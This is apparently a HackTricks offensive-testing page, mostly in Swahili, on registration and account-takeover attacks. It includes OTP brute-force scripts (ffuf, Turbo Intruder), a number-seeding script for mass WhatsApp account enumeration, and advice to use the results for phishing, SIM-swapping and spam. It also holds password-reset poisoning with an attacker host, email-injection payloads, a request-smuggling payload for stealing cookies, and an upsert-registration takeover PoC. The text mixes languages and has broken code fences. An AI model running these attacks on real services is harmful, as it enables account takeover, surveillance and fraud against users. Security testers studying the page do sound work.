Udhaifu wa Usajili na Kupora Akaunti

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Kupora Akaunti kupitia Usajili

Usajili Rudufu

  • Jaribu kuunda kwa kutumia username iliyopo
  • Jaribu kubadilisha email:
  • uppercase
  • +1@
  • add some dot in the email
  • special characters in the email name (%00, %09, %20)
  • Weka nafasi tupu baada ya email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Jaribu mbinu za canonicalization za provider wa email (inategemea service):
  • Gmail ignores dots and subaddressing: victim+1@gmail.com, v.ic.tim@gmail.com deliver to victim@gmail.com
  • Baadhi ya providers hawazingatii case katika local-part
  • Baadhi ya providers zinakubali unicode confusables. Jaribu homoglyphs na soft hyphen \u00AD ndani ya local-part
  • Tumia hizi ku: bypass uniqueness checks, obtain duplicate accounts/workspace invites, au block victim sign‑ups (temporary DoS) wakati unaandaa takeover

Username Enumeration

Angalia kama unaweza kubaini wakati username tayari imesajiliwa ndani ya application.

  • Different error messages or HTTP status codes
  • Timing differences (existing user may trigger lookup to IdP/DB)
  • Registration form autofill of profile data for known emails
  • Angalia team/invite flows: kuingiza email kunaweza kufichua kama akaunti ipo

Password Policy

Unapotengeneza user, angalia password policy (angalia kama unaweza kutumia weak passwords).
Katika hali hiyo unaweza kujaribu bruteforce credentials.

SQL Injection

Check this page ili ujifunze jinsi ya kujaribu account takeovers au kutoa taarifa kupitia SQL Injections katika fomu za usajili.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

Ukisha sajiliwa jaribu kubadilisha email na uhakiki kama mabadiliko haya yathibitishwa vizuri au yanaweza kubadilishwa hadi emails yoyote.

More Checks

  • Angalia kama unaweza kutumia disposable emails (mailinator, yopmail, 1secmail, etc.) au bypass the blocklist with subaddressing like victim+mailinator@gmail.com
  • Long password (>200) leads to DoS
  • Check rate limits on account creation
  • Tumia username@burp_collab.net na chunguza the callback
  • Kama inatumika phone number verification, angalia phone parsing/injection edge cases

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

Wakala za ujumbe zinazozingatia nambari za simu zinaonyesha presence oracle kila mteja anaposync contacts. Kurudia requests za discovery za WhatsApp kihistoria ziliwapa >100M lookups per hour, zikiruhusu kuhesabu karibu akaunti zote.

Mtiririko wa shambulio

  1. Instrument an official client ili kukamata address-book upload request (authenticated blob of normalized E.164 numbers). Replay it with attacker-generated numbers while reusing the same cookies/device token.
  2. Batch numbers per request: WhatsApp accepts thousands of identifiers and returns registered/unregistered plus metadata (business, companion, etc.). Analyze responses offline to build target lists without messaging victims.
  3. Horizontally scale enumeration with SIM banks, cloud devices, or residential proxies so per-account/IP/ASN throttling never triggers.

Dialing-plan modeling

Model kila nchi’s dialing plan ili kuepuka wagombea wasio sahihi. The NDSS dataset (country-table.*) lists country codes, adoption density, and platform split ili uweze kutilia mkazo ranges zenye hit nyingi. Mfano wa seeding code:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

Kugeuza enumerations kuwa mashambulizi yaliyolengwa

  • Feed leaked phone numbers (e.g., Facebook’s 2021 breach) into the oracle to learn which identities are still active before phishing, SIM-swapping, or spamming.
  • Slice censuses by country/OS/app type to find regions with weak SMS filtering or heavy WhatsApp Business adoption for localized social engineering.

Public-key reuse correlation

WhatsApp exposes each account’s X25519 identity key during session setup. Request identity material for every enumerated number and deduplicate the public keys to reveal account farms, cloned clients, or insecure firmware—shared keys deanonymize multi-SIM operations.

Registration flows often verify ownership via a numeric OTP or a magic-link token. Typical flaws:

  • Guessable or short OTP (4–6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation.
  • OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed).
  • Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length.
  • Tokens not invalidated after success or after password/email change.
  • Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages.

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Kujaribu kwa sambamba/paraleli ili kuzunguka uzuizi wa mfululizo (tumia Turbo Intruder kwenye Burp):

Kipande cha Turbo Intruder ili kumwaga majaribio ya OTP za tarakimu 6 ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds.
- Pia jaribu Host header poisoning kwenye verification links (sawa na reset poisoning hapo chini) ili leak au kukamilisha verification kwenye host inayodhibitiwa na mshambuliaji.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.

Mbinu kuu za kujaribu (rekebisha kwa mtiririko wa lengo):

- Classic–Federated Merge
- Mshambuliaji: anasajili akaunti ya classic kwa barua pepe ya mwanaathiriwa na kuweka nenosiri
- Mwanaathiriwa: baadaye anasajili kwa SSO (barua pepe ile ile)
- Merges zisizo salama zinaweza kuacha pande zote zikiwa zimesajiliwa au kuhuisha upatikanaji wa mshambuliaji
- Unexpired Session Identifier
- Mshambuliaji: anaweka akaunti na kuendelea kuwa na session ya muda mrefu (usiichapishe logout)
- Mwanaathiriwa: afufua/atafuta nenosiri na kutumia akaunti
- Jaribu kama vikao vya zamani vinaendelea kuwa halali baada ya reset au kuwezesha MFA
- Trojan Identifier
- Mshambuliaji: anaongeza kitambulisho cha sekondari kwenye akaunti iliyotengenezwa kabla (simu, barua pepe ya ziada, au kuunganisha IdP ya mshambuliaji)
- Mwanaathiriwa: anafanya reset ya nenosiri; mshambuliaji baadaye anatumia trojan identifier kubadilisha/reset/kuingia
- Unexpired Email Change
- Mshambuliaji: anaanzisha mabadiliko ya barua pepe kwenda kwa barua pepe ya mshambuliaji na kushikilia uthibitisho
- Mwanaathiriwa: anapora akaunti na kuanza kuitumia
- Mshambuliaji: baadaye anakamilisha mabadiliko ya barua pepe yaliyokuwa yanangojea ili kuiba akaunti
- Non‑Verifying IdP
- Mshambuliaji: anatumia IdP ambayo haitathibitisha umiliki wa barua pepe ili kudai `victim@…`
- Mwanaathiriwa: anasajili kupitia njia ya classic
- Huduma inaunganisha kwa barua pepe bila kukagua `email_verified` au kufanya uthibitisho wa ndani

Vidokezo vya vitendo

- Kusanya mtiririko na endpoints kutoka kwa web/mobile bundles. Tafuta classic signup, SSO linking, email/phone change, na password reset endpoints.
- Tengeneza automation halisi ili kuendeleza vikao vikiwa hai wakati unajaribu mitiririko mingine.
- Kwa majaribio ya SSO, simamisha test OIDC provider na toa tokens zenye dai la `email` kwa anwani ya mwanaathiriwa na `email_verified=false` ili kukagua kama RP inamwamini IdPs zisizothibitishwa.
- Baada ya password reset au mabadiliko ya barua pepe yoyote, hakikisha kwamba:
  - vikao vingine wote na tokens vimefutwa/kuharibika,
  - uwezo wa mabadiliko ya barua pepe/simu yanayongojea umefutwa,
  - IdPs/barua pepe/simu zilizounganishwa awali zimetathibitishwa upya.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Omba password reset kwa anwani yako ya barua pepe
2. Bonyeza kwenye password reset link
3. Usibadilishe nenosiri
4. Bonyeza kwenye tovuti zozote za 3rd party (mf: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Angalia ikiwa referer header ina leak ya password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Ongeza au hariri headers zifuatazo katika Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Tazama URL ya password reset inayotokana na _host header_ kama : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR kwenye vigezo vya API

  1. Mshambuliaji lazima aingie kwenye akaunti yao na aende kwenye kipengele cha Badilisha nywila.
  2. Anzisha Burp Suite na Intercept the request
  3. Tuma kwenye repeater tab na hariri vigezo: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token dhaifu la Password Reset

Token ya password reset inapaswa kutengenezwa kwa nasibu na kuwa ya kipekee kila mara.
Jaribu kubaini kama token inaisha (expire) au ikiwa ni ile ile kila wakati; katika baadhi ya kesi algoritimu ya uzalishaji ni dhaifu na inaweza kutabiriwa. Vigezo vifuatavyo vinaweza kutumika na algorithm:

  • Timestamp
  • UserID
  • Email ya mtumiaji
  • Jina la kwanza na jina la mwisho
  • Tarehe ya kuzaliwa
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Sababisha ombi la password reset kutumia API/UI kwa email maalum kwa mfano: test@mail.com
  2. Angalia response ya server na tafuta resetToken
  3. Kisha tumia token kwenye URL kama https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Kupitia Username Collision

  1. Jisajili kwenye mfumo kwa username iliyo sawa na username ya mwathiriwa, lakini ukiweka nafasi tupu kabla na/au baada ya username. kwa mfano: "admin "
  2. Omba password reset ukitumia username yako ya uharibifu.
  3. Tumia token iliyotumwa kwenye email yako na weka upya nywila ya mwathiriwa.
  4. Ingia kwenye akaunti ya mwathiriwa kwa nywila mpya.

Jukwaa la CTFd lilikuwa hatarini kwa shambulio hili.
Tazama: CVE-2020-7245

Kupata udhibiti wa akaunti kupitia Cross Site Scripting

  1. Pata XSS ndani ya application au subdomain ikiwa cookies zimewekwa kwa parent domain: *.domain.com
  2. Leak the current sessions cookie
  3. Thibitisha kama mtumiaji ukitumia cookie hiyo

Kupata udhibiti wa akaunti kupitia HTTP Request Smuggling

  1. Tumia smuggler kugundua aina ya HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Andaa ombi litakalobadilisha POST / HTTP/1.1 kwa data ifuatayo:
    GET http://something.burpcollaborator.net HTTP/1.1 X: kwa lengo la kufungua redirect wa wahasiriwa kwenda burpcollab na kuiba cookies zao\
  3. Ombi la mwisho linaweza kuonekana kama lifuatalo
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone inaripoti matumizi ya mdudu huu\

Kupata udhibiti wa akaunti kupitia CSRF

  1. Unda payload kwa CSRF, e.g: “HTML form with auto submit for a password change”
  2. Tuma payload

Kupata udhibiti wa akaunti kupitia JWT

JSON Web Token inaweza kutumika kuthibitisha mtumiaji.

  • Hariri JWT kwa User ID / Email nyingine
  • Kagua kama saini ya JWT ni dhaifu

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Baadhi ya signup handlers hufanya upsert wakati email iliyotolewa tayari ipo. Ikiwa endpoint inakubali minimal body yenye email na password na haitekelezi uthibitisho wa umiliki, kutuma email ya mwathirika kutaandika upya password yao kabla ya uthibitisho.

  • Ugunduzi: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
  • Vidokezo vya mbinu: a GET returning messages like “Only POST request is allowed.” often indicates the correct verb and that a JSON body is expected.
  • Minimal body iliyoshuhudiwa kwa vitendo:
{"email":"victim@example.com","password":"New@12345"}

Mfano wa PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Athari: Full Account Takeover (ATO) bila reset token, OTP, au email verification.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks